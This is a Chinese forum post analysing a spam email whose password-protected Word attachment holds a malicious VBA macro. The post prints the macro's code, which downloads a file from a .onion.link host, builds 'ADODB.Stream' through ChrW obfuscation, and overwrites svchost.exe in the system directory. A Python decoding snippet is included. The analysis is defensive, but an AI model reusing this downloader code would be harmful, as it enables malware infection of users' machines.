一次垃圾邮件的分析
综合文库 372 0
实名

通过了实名认证的内容创造者

发布于 2017-12-19 00:03:57

您需要 登录 才可以下载或查看,没有账号?注册

x
1. FBI Warning
分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行
2. 邮件截图
watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=.jpg
3. 邮件分析
可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。
  • doc附件有密码,且密码为1115
4. 附件分析一般分析方法
  • 4.1 一般来说,非打开方式去分析一个word附件,我们一般会选择oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletools来提取word文档中的宏。
  • 4.2 olevba 提取宏展示
    [size=0.9]olevba -c xxx.doc
    • -c: 只显示word中的宏代码
    • -a: 自动分析word是否可疑
      watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=.jpg

加了密码后,就不能用一般的分析方法
  • 4.3 尝试是用olevba来提取文档的vba代码
  • 4.4 关闭宏自动运行的前提下,打开word附件。
  • 4.5 查看宏代码
    可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器
  • 4.6 宏代码分析
  • Step1. 访问暗网的某个网站下载一个文件,现在已经无法打开这个暗网的链接。
[size=0.9]Sub MainDim WinHttpReq As ObjectSet WinHttpReq = CreateObject("Microsoft.XMLHTTP")WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"WinHttpReq.send
如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
  • Step2. 一个简单的混淆,拼凑出[size=0.9]Dim first5 As StringDim second5 As StringDim last5 As Stringfirst5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)second5 = ChrW(97) & ChrW(109)last5 = first5 + second5其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。
[size=0.9]first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"second5 = "ChrW(97) & ChrW(109)"def convert_vb2py(s):    first_s = s.replace("ChrW","chr")    second_s = first_s.replace("&","+")    return second_sprint eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
  • Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
    [size=0.9]xyuhjnx = WinHttpReq.responseBodyIf WinHttpReq.Status = 200 Then  Set oStream = CreateObject(last5)  oStream.Open  oStream.Type = Val("1FFF")  oStream.Write WinHttpReq.responseBody  Dim first6 As String  Dim last6 As String  first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)  last6 = first6  oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")  oStream.CloseEnd IfEnd Sub
    代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。
  • 4.7 到此,我们分析完整个宏代码
    总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。


还没有设置签名!您可以在此展示你的链接,或者个人主页!
使用道具 <
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表